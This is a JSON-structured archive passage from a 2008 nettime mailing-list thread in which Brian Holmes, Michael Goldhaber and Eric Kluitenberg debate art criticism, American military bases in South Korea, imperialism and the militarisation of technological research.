                "list": "nettime_l",
                "author_name": "Brian Holmes",
                "subject": "<nettime> 50 Ways To Leave Your Lover",
                "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                "follow-up": [
                    {
                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                        "content": "Hello Michael -\n\nAnd first of all, thanks for your reading! Always interesting to hear \nyour views.\n\n> First, art does not have to justify itself by offering a different way \n> to live or to coexist. To put it most simply art justifies life; it is \n> why we are here, or it can be.\n\nWell, art is also famously what people disagree about, which is OK by \nme. I offered a distinctly political definition of art, one which does \nnot simplify or deny all the subtle potentials of form and metaphor and \nreference that I do appreciate, but instead suggests that all those \nqualities come into strongest relief and offer the greatest resonance in \nourselves when they stand out against the background of a society and, \nrather than justifying life as it is, open up possibilities of becoming \ndifferent. A definition which seems relevant to much good art these \ndays, and could be interesting to disagree about too!\n\n> So what does cause continued imperialism? For one thing, America's \n> inward looking. Our politics is mostly localist and parochial, and yet \n> politicians end up making decisions to sustain foreign involvements on \n> the basis of little knowledge. It is always safer to view the outside \n> world as menacing rather than benign. It is always safer to refer to the \n> US as the greatest country and to assume that the world needs our armies \n> and weapons rather than not.A pointless patriotism helps hold this \n> disparate country together, much as India is partially held together by \n> such means. And, as in the case of the British empire, what keeps ours \n> going is mostly habit \u2014 a bad habit, but hard to change \u2014 perhaps \n> addiction would be the better word.\n\nThis seems to me a little naive, Michael, if you can excuse me saying \nso. I think that \"their\" empire (I would never call it \"ours\") is upheld \nnot just by our localist politics (of course that lets it go \nunchallenged, you are right) but above all because it is in the interest \nof certain people to uphold it. I do not believe that America went to \nIraq out of parochialism or ignorance, but because the party of war, oil \nand engineering saw immense profits in setting up shop there. Similarly, \nI think that the army, air force and navy all stay in South Korea \nbecause the maintenance of that Cold War standoff helps justify, not \njust U.S. presence in that particular country, but on outposts all over \nthe world. Arms production, engineering contracts and the maintenance of \nhigh-paying officer jobs associated with rank, privilege and amazing \ntechnology to play with are some of the benefits of prolonging Cold War \nconditions, which is why the Pentagon set about looking for a \"near \npeer\" right after 1989, and finally decided to accept a \"long war \nagainst terrorism\" instead.\n\nBeyond the direct military establishment, the free trade and free \ncapital flows from which the United States has prospered so \ndisproportionately since WWII are linked in the minds and strategies of \nthe corporate and political elites to the regulatory presence of a \nworld-spanning army, which has also been the reason that our huge debts \nhave been shouldered by other countries such as Japan, since \nmanufacturing exports declined in the 1970s. One of the most bald \nstatements of this kind of \"free trade guaranteed by the military\" \ndoctrine can be found in Thomas Barnett's recent books; but when you \nlook closer at the intellectuals staffing the State Department over the \nlast 60 years, the same doctrine is everywhere, from Kennan and Acheson \non forward. That this is an addiction - to power, to profit, to oil, to \nbig projects and machines - is something I would agree with.\n\n> If the US is so inward looking, doesn't reporting such as yours from \n> South Korea help create balance? Very little, I suspect. The internal \n> \"patriotic\" reading would only be that some Koreans are \"ingrates,\" who \n> \"don't know what's good for them,\" which implies they need our \n> protection despite themselves.\n\nAlong these lines, even a cursory scan of the Internet will dredge up \nexactly those kinds of opinions from the largest group of Americans \nhaving anything to do with the two Koreas, namly, ex- and current \nservicemen. It is much as you say. And I definitely agree that finding \nways of convincing these kinds of people is a real problem. Even Mark \nGillem, the author of America Town and himself part of the air force, \ndoes not read as very convincing from the viewpoint that one finds on \nthese Internet sites about Korea.\n\n> This imperialism can only be changed, I think, if it either becomes \n> unaffordable or if a really different US self-conception can take hold, \n> for instance of our being simply one country that ought to be striving \n> to live cooperatively with the rest of the world. I think we should take \n> heart that the Iraq war has proved so unpopular despite no draft and \n> despite the US death toll being far below Vietnam levels. I think a new \n> \"Iraq syndrome\" will sharply reduce the tendencies towards such active \n> military adventures for another generation.\n\nYes, I think you are right and I also think it is interesting to add to \nthat feeling of rejection. The low American profile after Vietnam was a \ngood thing imho.\n\n> But dismantling the existing \n> network of bases is another story. To give up the addiction to military \n> spending and the idea that the military offers a good career for certain \n> young people will be less rather than more easy if the US monetary \n> economy keeps declining. The only hope I see is the rise of an utterly \n> new sense of who we are. That , of course, will be intensely resisted.\n\nYes, I think that's where art can become so interesting as a force of \nchange! If all of us want it to, anyway. There again is another reason \nthat I chose the definition of art that I initially put forth.\n\nThanks again, Michael, for your perspectives.\n\nbest, BH\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00086",
                        "date": "Wed, 23 Jul 2008 19:18:35 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "488767EB.1070603 {AT} wanadoo.fr",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00086.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                                "content": "Concerning the concept of artistic rupture, Eric Kluitenberg wrote:\n\n> As I have come to understand this... rupture is part of process of\n> negation, a negative dialectics as some have called it (Adorno / Lyotard),\n> in the case of the visual arts a 'negative dialectics of the image'. Now\n> the point of negation is not the replacement of one mode of the visual by\n> another, alternative one. Much rather the object of negation is to 'break'\n> the image, to show its disfunctionality, to expose that every image hides\n> more than it reveals.\n...\n> The real point of the negation and this negative dialectics as it was\n> emblematically embodied by the bold quest of the avant-gardes, was not to\n> find a somehow \"better\" alternative for that which was negated\n> (perspective, unity of space, unity of time, surface, support, material,\n> medium, etc etc...) but much rather to reveal the infinity of\n> possibilities, the infinite space of alternatives.\n> \n> Now what has changed and where I would follow you in most of your analysis\n> is that the context in which art, criticism, and critical cultural\n> production operate, has diversified to the point where multiplicity has\n> replaced revolt.\n\nThis way of thinking, developed from Adorno to Lyotard among many \nothers, is one of the more powerful and compelling stories that can be \ntold about the vanguard \"overcoming of art,\" and my thanks to Eric for \nbringing in this precise theoretical level of conversation. When I said, \n\"let's take it as axiomatic that all that has changed,\" I was indeed \nthinking of the end of any transcendence of artistic representation, and \ntherefore of any reason or art to go on referring to art alone, to its \nsequential evolutions and/or ruptures. Of course, the idea that there is \none single story of the avant-gardes in the 20th century is itself \ntotally dubious, but I think that many of the stories which have been \nelaborated lead to the point art serves as some sort of ever-changing \nmediation between an active multiplicity and an existing context of \nsocial reality. How that kind of mediation works is, I think, the \nsubject for a micropolitical aesthetics - but I'd like to touch on that \nin a later reply to Snafu's excellent post on productivism. As Eric says \nhee,\n\n > How this then works for activists, artists, critics in practice\n> is the next step.\n\nConcerning the \"existing context of social reality\" which forms the \nbackdrop to any next step, that is definitely where geopolitical \nthinking becomes an issue. How to name the context? Is there any \noverarching structure? If so, how to avoid supporting it with one's own \nconceptual activity?\n\n> The second comment relates to the use of the concept of Empire. I wonder\n> if the concept of Empire is really productive here to address your\n> question of finding \"a different way to live, a fresh chance at\n> coexistence\", which I read as a call for pluralism and multiplicity.\n> Empire, however, suggest the rise of a hegemonic and more or less unitary\n> form of social and economic/political organisation (along with its\n> military extensions). Of course in Negri and Hardt's vision there are many\n> internal struggles and conflicting actors within the body of Empire, but\n> still they seem guided by a similar organisational logic and set of\n> (hegemonic) objectives.\n\nWell, what I am talking about is first of all best approached as \nclassical imperialism, not Empire in Hardt and Negri's sense of a \ncenterless, networked imperium -- because what we have seen in the past \nfive years, with the Iraq war, is clearly an attempt to project a \nspecifically American sovereignty onto a resource-rich country. Beyond \nthe war, I think the case for American hegemony is very strong and tends \nto be understated, if only because people on the left would \nunderstandably like to see other alternatives. However, lucidity is also \nimportant. The acts of the Bush administration have forced me, as a \nresponsible citizen, to look at the consequences of US military bases \nall over the world, military domination of space, financial domination \nthrough the continuing status of the dollar as international reserve \ncurrency, techoscientific domination through the fruits of military R&D \nspending, cultural domination through global English and the benchmark \nstatus of American universities, etc. etc. All of this is, to be sure, \nin decline, and that is probably why it has gotten so ugly in recent \nyears. But decline can go on for a long time... and in the meantime, \nunfortunately, this whole construct of military-industrial imperialism \ncontinues to furnish the basic definitions of what is good in life, \nincluding the canonical measures of economic growth and prosperity \ninherited from the Fordist/Cold War era, which still hold sway among all \nthe official bodies and orient, for the worst, the development of the EU \nin particular (not to mention China). The really obscene victory of US \nhegemony is making everyone desire and love this bloated form of \noverdevelopment.\n\nNow, I definitely do not have a one-dimensional view of all this, \nbecause the geopoliical study that I have carried on within the \nContinental Drift project definitely suggests that regional \nbloc-formation and the increasing sovereignty of countries that already \nhave a continental scale (China, India, Russia) is the wave of the \nfuture. I see two likely scenarios over the next 20 years. Either \ncontinued American decline will allow other major actors to literally \n\"buy in\" to the American hegemony, eventually achieving a true \nintra-imperial distribution of power and consequent tempering of the US \ncapacity to go lashing out with its military when the other major \nplayers do not agree -- and then we will really reach the state that \nHardt and Negri described in Empire. Or, the existence of any worldwide \nhegemony will gradually fade, and much greater power will accrue to the \ncontinental ensembles, giving rise to some kind of truly multi-polar \nworld. In the best of cases this could lead to the \"fractalization\" you \nsuggest, with interesting roles for multiple kinds of plurality in the \nsystem (not that there isn't plurality already, but this would be \nquantitatively and qualitatively different, more heterogeneous). Or, in \nthe worst of cases, we could easily get rivalries between blocs, \nresource wars, etc.\n\nThe obvious thing that keeps these scenarios at a distance is the \ngigantic disproportion between the US military and all the rest. But it \nmay be that popular resistance of all kinds will finally prove that to \nbe an \"ineffective disproportion\" -- finally answering Madeleine \nAlbright's famous question by showing that having such a great army \nreally is useless, and thus opening up the possibility, at least, of \nmore positive scenarios. This is the geopolitical reason why I am \nantimilitarist. The other reason is unreflected and immediate: I don' \nthink men with guns is the way to solve any problem.\n\n> Much rather I would opt for an approach focused on a simultaneous\n> localisation and multiplication of alternatives to such hegemonic forces\n> and leave the concept of Empire behind.\n\nIt can be a very good philosophical approach and also the right one, I \nthink, to base alternative strategies on (including aesthetic \nstrategies). However the trick is keeping reality enough in mind that \nyou can actually hope to change it, i.e. leave the military-industrial \npimp behind and find some better lover.\n\n> ---------\n> \n> Finally, on the reduction of American bases and how this plays out locally,\n> in the case of your report in S-Korea, highly fascinating!\n> \n> In such a localised address to a shift in 'hegemonic domination', I see\n> the most productive approach to a new form of social and cultural\n> critique. It will be very difficult to build that critique convincingly,\n> given the lingual, cultural, material, economic and social rifts that\n> separate the various actors that would need to be included in this, and\n> also given the reliance on a global pigeon-English that many of us are\n> struggling with..., but still this could be truly productive.\n\nYes, to the extent that we have a world society, we do need a cultural \ncritique that can work through global divides, with all the quite \nfascinating and, I think, rewarding difficulties that you mention. In my \nopinion, this kind of dialogical exchange is one of the ways to leave \nbehind the imperial tendency to oppressive hegemony, but without falling \nback into essentialism and identity-thinking.\n\n> A problem that worries me on a more day to day basis and that follows\n> directly from your account of the reduction and shifts of foreign US\n> military basis is the question of the demilitarisation of society, and the\n> technology and research sector in particular. It seems to me that there is\n> a continuing legacy of the cold war era in which the military / industrial\n> complex attempts to hold its ground, not just in the US, but also in the\n> Russian Federation and many of the post-Soviet and other 'Western' powers,\n> in terms of contracts, jobs, positions, production-infrastructures,\n> international market-shares, entrenched financial positions. I.e. this is\n> now a completely post-ideological space of political action.\n\nYou are so right. The vampires are keeping the cold warbody \"alive\" so \nthat they can maintain the dead-end mode of production that has been put \nin place since, or rather by, the Second World War.\n\n> Especially the domain of technological research and development has become\n> so deeply militarised (fuelled even further by the 'war on terror'\n> discourse) that it becomes difficult to imagine how to get rid of this\n> condition. A reliable inside source told me years ago that even a\n> relatively 'civil'-looking institution such as the MIT Media-Lab was at\n> the time supported for more than 65 percent by military funding, carrying\n> out projects that are conducted in utter secrecy, about which we can\n> safely assume that they exist, but about which we cannot get any reliable\n> information as to what they are and what they aim for. Stuff that you will\n> never see on their public web pages. No doubt this percentage has only\n> grown since, and it is presumably even worse in many other technological\n> R&D centres.\n >\n> How do \"we\" as cultural producers, critics, artists, deal with such\n> realities if we are so prominently working in and with the products of\n> this technological domain? How to bring this back to the civil domain?\n\nI think this remains the key question. In my reading, for instance, A \nThousand Plateaus is entirely about this question, it's about subverting \nand derailing the warmachine of the state, mostly from within, through \nthe undermining of what they call \"royal science.\" It is true that one \nalways works largely on the state's domain (that's the very definition \nof hegemony, it sets the terrain for everyone). So the question you \nraise is really the central problem, culturally as well as politically.\n\n> Some 'help' might be expected from the apparent economic demise of the US,\n> making it increasingly difficult to provide for the upkeep for the world's\n> largest army (hence the reduction and re-alignment of foreign US military\n> bases). In effect, the upkeep is currently mostly financed by China.\n\nActually, Japanese capital remains tremendously important as well... \nAlong with Middle Eastern and European money, the genius of empires has \nalways been to get others paying tribute. Basically because they want \nthe protection of -- or are frankly afraid of -- the empire's military. \nHowever, this seems to be headed for a change. A collapse of the dollar, \na real run on the dollar, would signify a radical change. We will see... \nI am not betting on it as I think that everyone is afraid of such a \nviolent turnabout. I think the strategy of the other world powers is to \nhollow the US out from the inside, and then just wait and see what can \nbe done about the hard core of the military, wait and see whether it \nwill really decline along with the middle class and the old bridges and \nlevees and so on. The strategy of the US, as Brzezinski said flat out in \nThe Grand Chessboard, is to hold on to hegemony as long as possible.\n\n> This\n> is, however, certainly not a problem of the US alone, and it plays out\n> very differently in different contexts. The shared problem faced is how to\n> turn this trend around (without a complete collapse), how to civilise the\n> technological domain?\n\nThanks, Eric, it is great to see that we can finally ask a big question \nagain. All that tactical shyness was kinda buggin' me...\n\n> This is one area where the search for alternatives seems highly urgent,\n> and it will require more than a process of mere 'negation' - A process of\n> negation of dominant symbolic modes of hegemonic domination only serves to\n> show that an infinity of other worlds is possible, I would say.\n\nIndeed, the continued return to avant-garde negation is pointless. I \nthink it is intimately bound up with the tautological self-reference of \nart to itself alone, which is strangely persistent, mainly because it \nwas institutionalized as the definition of modern art (another zombie \ncategory as Ulrich Beck puts it). My off-the-cuff manifesto was meant to \nsay that self-reference and radical negation ought to be things of the \npast for art - stages which have truly been overcome - so I heartily \nagree with the above!\n\n> Well anyway, just some thought on a damp Sunday afternoon (it's hot and\n> wet in Amsterdam).\n\nHmm, can we hope for more such reflective weather in the future? It's \npretty hot in Paris but it only rains at night!\n\n> bests,\n> Eric\n\nmy best to all as well, Brian\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00111",
                                "date": "Sun, 27 Jul 2008 21:54:26 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "488CD272.6060900 {AT} wanadoo.fr",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00111.html",
                                "content-type": "text/plai",
                                "author_name": "Brian Holmes",
                                "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                            }
                        ],
                        "from": "Eric Kluitenberg <epk {AT} xs4all.nl>",
                        "content": "Thank you Brian for a challenging and stimulating set of ideas and\nsuggestions!\n\nAlso for your report from Korea.\n\nA minor contribution here on two points you are making, some comments more\nthan a criticism.\n\nOn Jul 22, 2008, at 23:57, Brian Holmes wrote:\n\n> For most of the twentieth century, art was judged with respect to the\n> previously existing state of the medium. What mattered was the kind of\n> rupture it made, the unexpected formal or semiotic elements that it\n> brought into play, the way it displaced the conventions of the genre or\n> the tradition. The prize at the end of the evaluative process was a\n> different sense of what art could be, a new realm of possibility for the\n> aesthetic. Let's take it as axiomatic that all that has changed,\n> definitively.\n\nAs I have come to understand this is that rupture is part of process of\nnegation, a negative dialectics as some have called it (Adorno / Lyotard),\nin the case of the visual arts a 'negative dialectics of the image'. Now\nthe point of negation is not the replacement of one mode of the visual by\nanother, alternative one. Much rather the object of negation is to 'break'\nthe image, to show its disfunctionality, to expose that every image hides\nmore than it reveals.\n\nThis negation then opens up an experiential void, a non-space and a\nnon-time (Lyotard has discussed at length how Kant had already described\nthis as a \"UnForm\" (non-form) in his analytic of the sublime). In critical\naesthetics this idea has been expanded and transformed further: In the\nexperiential void opened up by the negation of the visual no imagination\nor life is possible. It is the very threat of the end of life as such. To\nput the threat to life at bay new modes of the visual are (immediately)\nput in place. Perhaps our brains are hard-wired to do this. But in this\nmoment of negation, the breaking of the image, of the visual, an infinity\nis opened up, an infinity of possible modes of the visual, an infinite\nrange of alternatives, one of which has to be (temporarily) adopted.\n\nThe real point of the negation and this negative dialectics as it was\nemblematically embodied by the bold quest of the avant-gardes, was not to\nfind a somehow \"better\" alternative for that which was negated\n(perspective, unity of space, unity of time, surface, support, material,\nmedium, etc etc...) but much rather to reveal the infinity of\npossibilities, the infinite space of alternatives.\n\nNow what has changed and where I would follow you in most of your analysis\nis that the context in which art, criticism, and critical cultural\nproduction operate, has diversified to the point where multiplicity has\nreplaced revolt.\n\nThe second important change is that I think that the kind of practices\nthat were previously labelled as avant-garde have long been supplanted and\ntaken over by actors in non-art contexts, stimulated and accelerated by\nthe expansion of the digitised media infrastructures. The negation of\nsymbolic structures now plays out and articulates itself in a much wider\nsocial and political domain, which makes your next remarks al the more\nprescient:\n\n> The backdrop against which art stands out now is a particular state of\n> society. What an installation, a performance, a concept or a mediated\n> representation can do with its formal, affective and semiotic means is to\n> mark out a possible or effective shift with respect to the laws, the\n> customs, the measures, the mores, the technical and organizational\n> devices that define how we must behave and how we can relate to each\n> other at a given time and in a given place. What you look for in art is\n> a different way to live, a fresh chance at coexistence. Anything less is\n> just the seduction of novelty - the hedonism of insignificance.\n>\n> If that's the case (if the axiom really holds), then a number of\n> fascinating questions arise - for the artist, of course, but also for the\n> critic. Where the critic is concerned, one good question is this: How do\n> you address yourself to artists or publics or potential peers across the\n> dividing lines that separate entire societies? How do you evaluate what\n> counts as a positive or at least a promising change in the existing\n> balance of a foreign culture?\n\nAdopting the formula outlined above I would say that the negation of\ndominant modes of symbolisation serves not just to point out and develop\nalternatives, but first of all to show that an infinite range of\nalternatives exists in which every possible mode of symbolisation (image,\nsound, text) hides more than it reveals (about actual social realities on\nthe ground).\n\nThis is where I see the real significance of such 'symbol-hacking'\npractices, which can of course never stand on their own. They becomes a\nforce for change when there is a local application and the material means\nto bring them further - but then we get into the discussion of strategies\nand tactics. Here I wanted first to comment on the theoretical proposition\nyou made. How this then works for activists, artists, critics in oractice\nis the next step.\n\n----------\n\nThe second comment relates to the use of the concept of Empire. I wonder\nif the concept of Empire is really productive here to address your\nquestion of finding \"a different way to live, a fresh chance at\ncoexistence\", which I read as a call for pluralism and multiplicity.\nEmpire, however, suggest the rise of a hegemonic and more or less unitary\nform of social and economic/political organisation (along with its\nmilitary extensions). Of course in Negri and Hardt's vision there are many\ninternal struggles and conflicting actors within the body of Empire, but\nstill they seem guided by a similar organisational logic and set of\n(hegemonic) objectives.\n\nIf, however, I look somewhat naively at geopolitical developments around\nme, I see much more of a fractallisation of Empire at the moment, i.e. the\nemergence of a multitude of self-similar, but self-contained empires.\nImportantly, these factal-empires also contest and counter-act each other\nto the point where their objectives and strategies become so\nheterogeneous that I wonder how productive the rather monolithic concept\nof Empire still is to analyse, let alone do something useful with this\nheterogeneity.\n\nMuch rather I would opt for an approach focused on a simultaneous\nlocalisation and multiplication of alternatives to such hegemonic forces\nand leave the concept of Empire behind.\n\n---------\n\nFinally, on the reduction of American bases and how this plays out locally,\nin the case of your report in S-Korea, highly fascinating!\n\nIn such a localised address to a shift in 'hegemonic domination', I see\nthe most productive approach to a new form of social and cultural\ncritique. It will be very difficult to build that critique convincingly,\ngiven the lingual, cultural, material, economic and social rifts that\nseparate the various actors that would need to be included in this, and\nalso given the reliance on a global pigeon-English that many of us are\nstruggling with..., but still this could be truly productive.\n\nA problem that worries me on a more day to day basis and that follows\ndirectly from your account of the reduction and shifts of foreign US\nmilitary basis is the question of the demilitarisation of society, and the\ntechnology and research sector in particular. It seems to me that there is\na continuing legacy of the cold war era in which the military / industrial\ncomplex attempts to hold its ground, not just in the US, but also in the\nRussian Federation and many of the post-Soviet and other 'Western' powers,\nin terms of contracts, jobs, positions, production-infrastructures,\ninternational market-shares, entrenched financial positions. I.e. this is\nnow a completely post-ideological space of political action.\n\nEspecially the domain of technological research and development has become\nso deeply militarised (fuelled even further by the 'war on terror'\ndiscourse) that it becomes difficult to imagine how to get rid of this\ncondition. A reliable inside source told me years ago that even a\nrelatively 'civil'-looking institution such as the MIT Media-Lab was at\nthe time supported for more than 65 percent by military funding, carrying\nout projects that are conducted in utter secrecy, about which we can\nsafely assume that they exist, but about which we cannot get any reliable\ninformation as to what they are and what they aim for. Stuff that you will\nnever see on their public web pages. No doubt this percentage has only\ngrown since, and it is presumably even worse in many other technological\nR&D centres.\n\nHow do \"we\" as cultural producers, critics, artists, deal with such\nrealities if we are so prominently working in and with the products of\nthis technological domain? How to bring this back to the civil domain?\n\nSome 'help' might be expected from the apparent economic demise of the US,\nmaking it increasingly difficult to provide for the upkeep for the world's\nlargest army (hence the reduction and re-alignment of foreign US military\nbases). In effect, the upkeep is currently mostly financed by China. This\nis, however, certainly not a problem of the US alone, and it plays out\nvery differently in different contexts. The shared problem faced is how to\nturn this trend around (without a complete collapse), how to civilise the\ntechnological domain?\n\nThis is one area where the search for alternatives seems highly urgent,\nand it will require more than a process of mere 'negation' - A process of\nnegation of dominant symbolic modes of hegemonic domination only serves to\nshow that an infinity of other worlds is possible, I would say.\n\nWell anyway, just some thought on a damp Sunday afternoon (it's hot and\nwet in Amsterdam).\n\nbests,\nEric\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00106",
                        "date": "Sun, 27 Jul 2008 15:34:22 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "9367ABF5&#45;E2FF&#45;4B8D&#45;97DB&#45;27FF7526479A {AT} xs4all.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00106.html",
                        "content-type": "text/plai",
                        "author_name": "Eric Kluitenberg",
                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                    },
                    {
                        "from": "Michael H Goldhaber <mgoldh {AT} well.com>",
                        "content": "Brian,\n\nI read your whole piece with interest, but I disagree with its two of  \nits stated or inherent premises.\n\nFirst, art does not have to justify itself by offering a different way  \nto live or to coexist. To put it most simply art justifies life; it is  \nwhy we are here, or it can be.\n\nSecond, while a visit to South Korea or any other host to our hundreds  \nof bases can show what empire is like and what it does to its targets,  \nto find the sources of the outlook that backs these bases, we  have to  \nlook at American political life. A simple economic justification in  \nterms of empire would be hard to demonstrate: China and India, which  \nnever had American bases, are far more important to us economically  \nthan countries that do have them. Likewise, Vietnam, which succeeded  \nin throwing out our bases seems to be on a trajectory not terribly  \ndifferent from S. Korea or China. Nor is \"cultural imperialism\"  \nstrongly correlated with where the bases are. \"Pirated\" videos and  \nmusic spread our culture far more effectively than does military  \noccupation. Indian and Chinese immigrants with degrees in medicine,  \nscience or engineering increasingly fill occupational niches that  \nAmericans  do not enter in enough strength, for whatever reason.\n\nSo what does cause continued imperialism? For one thing, America's  \ninward looking. Our politics is mostly localist and parochial, and yet  \npoliticians end up making decisions to sustain foreign involvements on  \nthe basis of little knowledge. It is always safer to view the outside  \nworld as menacing rather than benign. It is always safer to refer to  \nthe US as the greatest country and to assume that the world needs our  \narmies and weapons rather than not.A pointless patriotism helps hold  \nthis disparate country together, much as India is partially held  \ntogether by such means. And, as in the case of the British empire,  \nwhat keeps ours going is mostly habit ? a bad habit, but hard to  \nchange ? perhaps addiction would be the better word.\n\nIf the US is so inward looking, doesn't reporting such as yours from  \nSouth Korea help create balance? Very little, I suspect. The internal  \n\"patriotic\" reading would only be that some Koreans are \"ingrates,\"  \nwho \"don't know what's good for them,\" which implies they need our  \nprotection despite themselves. While \"ingratitude\" might be taken as a  \nreason to leave, in practice it only seems to reinvigorate the myth of  \nthe necessity of staying, much as the American causalities so far in  \nIraq become, for the right at least, a reason not to leave. The  \npossible difference there, as it was in Vietnam, and even in the  \nKorean war, is really the threat of future casualties, but if these  \ncan be diminished, so will the pressure to pull out.\n\nThis imperialism can only be changed, I think, if it either becomes  \nunaffordable or if a really different US self-conception can take  \nhold, for instance of our being simply one country that ought to be  \nstriving to live cooperatively with the rest of the world. I think we  \nshould take heart that the Iraq war has proved so unpopular despite no  \ndraft and despite the US death toll being far below Vietnam levels. I  \nthink a new \"Iraq syndrome\" will sharply reduce the tendencies towards  \nsuch active military adventures for another generation. But  \ndismantling the existing network of bases is another story. To give up  \nthe addiction to military spending and the idea that the military  \noffers a good career for certain young people will be less rather than  \nmore easy if the US monetary economy keeps declining. The only hope I  \nsee is the rise of an utterly new sense of who we are. That , of  \ncourse, will be intensely resisted.\n\nBest,\nMichael\n\nOn Jul 22, 2008, at 2:57 PM, Brian Holmes wrote:\n\n>50 Ways To Leave Your Lover,\n>Or, let's find a completely new art criticism\n>\n>For most of the twentieth century, art was judged with respect to the\n>previously existing state of the medium. What mattered was the kind of\n>rupture it made, the unexpected formal or semiotic elements that it\n>brought into play, the way it displaced the conventions of the genre  or\n>the tradition. The prize at the end of the evaluative process was a\n>different sense of what art could be, a new realm of possibility for  the\n>aesthetic. Let's take it as axiomatic that all that has changed,\n>definitively.\n>\n>The backdrop against which art stands out now is a particular state of\n>society. What an installation, a performance, a concept or a mediated\n>representation can do with its formal, affective and semiotic means is to\n>mark out a possible or effective shift with respect to the laws,  the\n>customs, the measures, the mores, the technical and organizational devices\n>that define how we must behave and how we can relate to each other at a\n>given time and in a given place. What you look for in art  is a different\n>way to live, a fresh chance at coexistence. Anything  less is just the\n>seduction of novelty - the hedonism of insignificance.\n>\n>If that's the case (if the axiom really holds), then a number of\n>fascinating questions arise - for the artist, of course, but also for the\n>critic. Where the critic is concerned, one good question is this: How do\n>you address yourself to artists or publics or potential peers across the\n>dividing lines that separate entire societies? How do you evaluate what\n>counts as a positive or at least a promising change in  the existing\n>balance of a foreign culture?\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00085",
                        "date": "Wed, 23 Jul 2008 09:32:17 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4c6fcc4d46d41f55552bbc27f95694b1 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00085.html",
                        "content-type": "text/plai",
                        "author_name": "Michael H Goldhaber",
                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                    },
                    {
                        "from": "Michael H Goldhaber <mgoldh {AT} well.com>",
                        "content": "Brian,\n\nRather than being naive, I think I was engaging in a kind of  \nshorthand, leaving out intermediate reasons.  Of course there is  \nmilitary-industrial complex which tries to perpetuate itself, but it  \nis successful only because others at times believe its clumsy  \narguments. Also, oil companies may indeed profit from invasions such  \nas of Iraq, but mostly because the threat of war helps increase the  \nprice of oil, which would probably have gone up anyway. The threat of  \ninstability in Nigeria, say, without any US intervention, increases  \nthe price as well. So the military costs incurred by invading Iraq,  \nsay, are unnecessary on that score. Even if the oil interests believed  \notherwise, they would not have been able to invade Iraq if the public  \nwere not convinced that reasons entirely unconnected with oil were at  \nstake. As for the argument that America's place in  the world economy  \ndepends on our  having bases and a round-the -world military presence,  \nI think the examples I gave of the value to us of India and China show  \nthat view is itself naive. Finally, countries like German and the  \nNetherlands demonstrate that having an imperial presence is quite  \nunnecessary for economic success.\n\nIt could well be argued that US military expenditures drag down the US  \neconomy, as Seymour Melman used to argue, calling the result \"Pentagon  \nCapitalism.\" The counter-argument to that:military Keynesianism (mK)   \nas a necessary economic stimulant to keep capitalism going internally.  \nAs I argued against Melman in the 80's, government spending on  \nanything other than the military tends to  compete with \"private  \nenterprise, \" which is why we have military expenditures rather than  \nsay single-payer health care (which would drive insurance companies  \nout of business). We could spend the money on , say, going to Mars,  \nbut it is too clear to too many people that we don't need to do that,  \nwhile \"defending our way of life\" is, as I noted, harder to argue  \nagainst. While \"national security\" provides some rationale for  \nconfining military expenditures to non-out-sourced industries and so  \ndoes to some degree prop up the internal economy, there is now too  \nmuch \"leakage,\" so that mK now is not particularly effective. Even at  \nits bloated levels, it is also probably too small to be of substantial  \neffect, certainly not what is needed when the US monetary economy  \nturns down. The world today cannot afford the level of destruction  \ncommensurate with WWII that would do a similar economic job today. (At  \nleast I hope that is off the table.) So today, Melman would probably  \nbe right. American imperialism is an irrational (and naive) addiction  \nthat only helps the most narrowly defined interests. Still, tapering  \noff will not be easy. Some will suffer directly, and they will shout  \nmuch louder than the much larger group of those who would benefit  \nmildly and mostly indirectly.\n\nBest,\nMichael\n\nOn Jul 23, 2008, at 10:18 AM, Brian Holmes wrote:\n\n>Hello Michael -\n>\n>>So what does cause continued imperialism? For one thing, America's inward\n>>looking. Our politics is mostly localist and parochial, and  yet politicians\n>>end up making decisions to sustain foreign involvements  on the basis of\n>>little knowledge. It is always safer to view the outside world as menacing\n>>rather than benign. It is always safer to refer  to the US as the greatest\n>>country and to assume that the world needs our  armies and weapons rather\n>>than not.A pointless patriotism helps hold this disparate country together,\n>>much as India is partially held  together by such means. And, as in the case\n>>of the British empire, what keeps  ours going is mostly habit ? a bad habit,\n>>but hard to change ? perhaps addiction would be the better word.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: 